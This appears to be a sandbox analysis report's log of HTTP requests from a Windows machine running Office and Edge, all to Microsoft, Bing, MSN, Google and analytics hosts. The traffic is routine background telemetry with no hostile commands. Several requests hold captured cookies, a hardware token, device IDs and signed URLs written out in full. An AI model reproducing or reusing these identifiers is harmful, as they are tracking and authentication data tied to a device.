Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418602_13EDNGC3ZL2WGZFXN&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418589_1A7GR0X7EOYKFPJ56&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381974406_1PX0P2H3JT1SGPC2P&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381974407_1ZDRM1NCYDR575WXY&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418601_1XRLHD1YRS9ZZSDWX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418590_1Z5SLYPYIFLU5OB7B&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733408257&P2=404&P3=2&P4=OK8E5VwaB53t0UgA4ZtseX%2fJdJHm2yLjYXayt4jj2xnOoIVVL6joJ7nlYprwYgcin5B37hW%2bn0r%2fYgfwexT8FA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: USpnP0t5/38PdQm/Dl2kfPSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=68c4ec1374684e91a583b5eed7b03ab7&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=68c4ec1374684e91a583b5eed7b03ab7&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=04D75D34A2516129171A4871A32360BE; MR=0
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241128T141739Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=7725ddabbb3a45c19c2f1d473823bfc2&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=605279&metered=false&nettype=ethernet&npid=sc-88000045&oemName=vgnaih%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=vgnaih20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=605279&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAa6o0AvetUTf7KbJofZ51/5TNZyoFu5SFa2iT+9rhofyJ+AVqgreTgiA8iiXrOQvKh0TVZ9IZuiTEarJ4hJZUB9LqFVYMclJD8/UCnw8jJkQCj2X3hwYAu8IWZJIf9jjPQl7W/JqO0O+WEbNLsl325O5xFE+FM4EGE0l/EULtZf5CmGm7uiRZGtgWqGL+t6JPlvv4L92f5HmAzwlpzkkU3WNDCV6YjIyxjWd1lNY3XHSprIgSZhL0QXD9fhCW9EF6kYFqJEssU7Udh9nZQhnGeL74/GPAEQpbPh3dbsdy2Hlu7ru4UGEyPocOMwM02JsCvgxLYQmCCtnp+snk1XmC6MQZgAAEGG0nTU3oT26BNPFq1DBjYuwAQEN6E16oXtBLUTzt8RJp/5ZnKVr8B5ortB23TF/OpjjBdcoNNog5vrZjMW/7vobDQx6T8v4aMSAP4pVcPK3suk+UpH/OPi7P3Rk31m905AX3a4DAf3DYr5AJXTVQDYwKuLmU/Uu8/AUZFP5X/lvwzbIU6OjAjmlVCnEBGx+SrISaVth6BCAG5mIKtlYqpR3HfieNWfsUBegK7+u4wGCpFpx7CAGQM6Gds5++3P+sVyYfguA9PiR4iNC/ulZIKO3bYXzvUUIFy0CA8wX8SBKiLuGbufpcELVUmq2oyLwPB/qb8csjXhYqU6/WYS5N6MD4Xh5UoulxVzy0kBqDZqNNSfa0tSxS2udhZTsMW4uPtvTVBrFMK8WvPWjSzQmiWgG4ho54IFWHmOTn6dUJr4QO4s8oX8Crg9WDaRyLb8DCqNsvCAMSyPRh1H3SZNlQz6BnnKxAq5cnF3AlL4usK95463AphNz2Y6Tv30izMNQUL71i9O7KwQi5u3+XzflmQknnDjUbTARC+PQ23MzKdYcCxm6GQ9lKpWfo1WfcHHEap1b1Fc7hmvApB0pxQ5VEiDoB9gB&p=Cache-Control: no-cacheMS-CV: qttc0QDy8kC/EoYF.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=68c4ec1374684e91a583b5eed7b03ab7&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-AliveCookie: MUID=04D75D34A2516129171A4871A32360BE; MSPTC=fZAH-J3kacAMjcbI1ORRiK1I_vSQlNQng7WZl9eJGHM; MR=0
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=03480115B31365D60A331450B23A64BD&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=500f709dc9c04c85d50c8eb614b987ed HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732803473898&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2ebfad5dc1554fbeaed98f30db61d7ff&activityId=2ebfad5dc1554fbeaed98f30db61d7ff&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=54462BDC60444E06B2A27D745EBF6E9D&MUID=03480115B31365D60A331450B23A64BD HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=03480115B31365D60A331450B23A64BD&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=5ca00d21117d464ec74c6b5b804abfa4 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=03480115B31365D60A331450B23A64BD; _EDGE_S=F=1&SID=002C77539302677924126216926166F5; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732803473899&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=03480115B31365D60A331450B23A64BD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732803473899&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=03480115B31365D60A331450B23A64BD&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=11C4e6bb7cc4b0ade2b967c1732803479; XID=11C4e6bb7cc4b0ade2b967c1732803479
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
